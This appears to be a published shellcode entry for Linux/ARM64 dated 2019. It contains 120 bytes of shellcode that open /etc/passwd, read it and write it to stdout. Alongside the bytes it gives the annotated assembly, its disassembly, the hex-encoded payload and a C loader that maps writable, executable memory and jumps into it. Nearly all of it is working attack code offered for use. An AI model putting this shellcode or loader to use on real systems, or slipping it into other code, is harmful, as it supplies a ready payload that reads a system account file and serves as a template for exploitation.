120 bytes small Linux/ARM64 read /etc/passwd shellcode.
cf2b3085031fc4269cc8baa53f11a400/*
# Title: Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat passwd.s
.section .text
.global _start
_start:
// fd = openat(0, "/etc/passwd", O_RDONLY)
mov x0, xzr
mov x1, #0x7773
movk x1, #0x64, lsl #16
str x1, [sp, #-8]!
mov x1, #0x652f
movk x1, #0x6374, lsl #16
movk x1, #0x702f, lsl #32
movk x1, #0x7361, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
mvn x3, x0
// read(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #63
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337
// status = close(fd)
mvn x0, x3
mov x8, #57
svc #0x1337
// exit(status)
mov x8, #93
svc #0x1337
ubuntu@ubuntu:~/works$ as -o passwd.o passwd.s && ld -o passwd passwd.o
ubuntu@ubuntu:~/works$ objdump -d ./passwd
./passwd: file format elf64-littleaarch64
Disassembly of section .text:
0000000000400078 <_start>:
400078: aa1f03e0 mov x0, xzr
40007c: d28eee61 mov x1, #0x7773 // #30579
400080: f2a00c81 movk x1, #0x64, lsl #16
400084: f81f8fe1 str x1, [sp,#-8]!
400088: d28ca5e1 mov x1, #0x652f // #25903
40008c: f2ac6e81 movk x1, #0x6374, lsl #16
400090: f2ce05e1 movk x1, #0x702f, lsl #32
400094: f2ee6c21 movk x1, #0x7361, lsl #48
400098: f81f8fe1 str x1, [sp,#-8]!
40009c: 8b2063e1 add x1, sp, x0
4000a0: aa1f03e2 mov x2, xzr
4000a4: d2800708 mov x8, #0x38 // #56
4000a8: d40266e1 svc #0x1337
4000ac: aa2003e3 mvn x3, x0
4000b0: d281ffe2 mov x2, #0xfff // #4095
4000b4: cb2263ff sub sp, sp, x2
4000b8: aa1f03e8 mov x8, xzr
4000bc: 8b2863e1 add x1, sp, x8
4000c0: d28007e8 mov x8, #0x3f // #63
4000c4: d40266e1 svc #0x1337
4000c8: f81f8fe0 str x0, [sp,#-8]!
4000cc: d34bfc40 lsr x0, x2, #11
4000d0: f84087e2 ldr x2, [sp],#8
4000d4: d2800808 mov x8, #0x40 // #64
4000d8: d40266e1 svc #0x1337
4000dc: aa2303e0 mvn x0, x3
4000e0: d2800728 mov x8, #0x39 // #57
4000e4: d40266e1 svc #0x1337
4000e8: d2800ba8 mov x8, #0x5d // #93
4000ec: d40266e1 svc #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary passwd passwd.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' passwd.bin && echo
\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8"
"\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2"
"\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2"
"\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb"
"\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4"
"\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4"
"\xa8\x0b\x80\xd2\xe1\x66\x02\xd4";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}